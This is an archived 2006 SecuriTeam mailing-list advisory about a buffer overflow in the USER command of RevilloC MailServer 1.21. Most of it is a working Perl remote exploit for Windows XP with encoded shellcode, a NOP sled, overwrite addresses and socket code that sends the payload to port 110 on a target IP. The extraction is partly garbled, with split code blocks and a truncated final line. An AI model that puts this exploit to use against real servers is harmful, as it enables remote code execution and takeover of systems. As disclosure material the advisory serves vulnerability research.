

# [EXPL] RevilloC Mail Server USER Buffer Overflow

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00021.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 8 Mar 2006 16:21:10 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

RevilloC Mail Server USER Buffer Overflow

---

## SUMMARY

<<http://www.revilloc.com/mailserver/>> RevilloC MailServer – "Send and collect all the emails for your home or office network, whilst saving dial up time. The mail server now contains a web proxy server, so you can now view internet web pages from your networked machines."

By sending a large buffer after the USER command to the mail server a buffer overflow can be exploited.

## DETAILS

Vulnerable Systems:

\* RevilloC MailServer and Proxy version 1.21

Exploit:

```
#!/usr/bin/perl -w
```

```
#revilloC mail server PoC exploit ( for xp sp1)
```

```
# Discovered securma massine from MorX Security Research Team
```

```
(http://www.morx.org).
```

```
#RevilloC is a MailServer and Proxy v 1.21 (http://www.revilloC.com)
```

```
#The mail server is a central point for emails coming in and going out
```

## [EXPL] RevilloC Mail Server USER Buffer Overflow

from home or office

#The service will work with any standard email client that supports POP3 and SMTP.

#

#by sending a large buffer after USER commands

#C:\>nc 127.0.0.1 110

#+OK RevilloC POP3 Ready

#USER "A" x4081 + "\xff"x4 + "\xdd"x4 + "\x0d\x0a" (xp sp2)

#

we have:

#access violation when reading [dddddddd].

#ntdll!wcsncat+0x387:

#7C92B3FB 8B0B MOV ECX,DWORD PTR DS:[EBX] ---->EBX pointe to

"\xdd"x4

#ECX dddddddd

#EAX FFFFFFFF

#

#Vendor contacted 14/01/2006 , No response,No patch.

#this entire document is for educational, testing and demonstrating purpose only.

#greet all MorX members,undisputed,sara

#!/usr/bin/perl -w

use IO::Socket;

if (\$#ARGV<0)

{

print "\n write the target IP!! \n\n";

exit;

}

\$shellcode =

"\xEB\x03\x5D\xEB\x05\xE8\xF8\xff\xff\xff\x8B\xC5\x83\xC0\x11\x33".

"\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C".

"\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE".

"\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB".

"\xBA\x88\x88\xE0\xff\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77".

"\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77".

"\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77".

"\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77".

"\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77".

"\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77".

"\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77".

[EXPL] RevilloC Mail Server USER Buffer Overflow

```
"\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77".  
"\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77".  
"\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB".  
"\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C".  
"\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0".  
"\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77".  
"\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0".  
"\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB".  
"\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5".  
"\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98".  
"\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE".  
"\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77".  
"\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8".  
"\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF".  
"\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90".  
"\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74".  
"\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4".  
"\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94".  
"\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5".  
"\xD3\x4A\x8C\x88";  
$buffer = "\x90" x 3601;  
$eax = "\x83\xb5\x19\x01"; # change if needed  
$peb = "\x20\xf0\xfd\x7f"; #PEB lock  
$user = "USER ";  
$sender = "\x0d\x0a";  
$connect = IO::Socket::INET ->new (Proto=>"tcp",  
PeerAddr=> "$ARGV[0]",  
PeerPort=>"110"); unless ($connect) { die "cant connect" }  
print "\nRevilloC mail server remote PoC exploit by  
securma  
massine\n";  
print "\nsecurma@\morx.org\n";
```

[EXPL] RevilloC Mail Server USER Buffer Overflow

```
print "\n+++++++www.morx.org+++++++\n";  
$connect->recv($text,128);  
print "$text\n";  
print "[+] Sent USER\n";  
$connect->send($user . $buffer . $shellcode . $eax . $peb
```

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@xxxxxxxxxxxxxx  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====

**DISCLAIMER:**  
The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.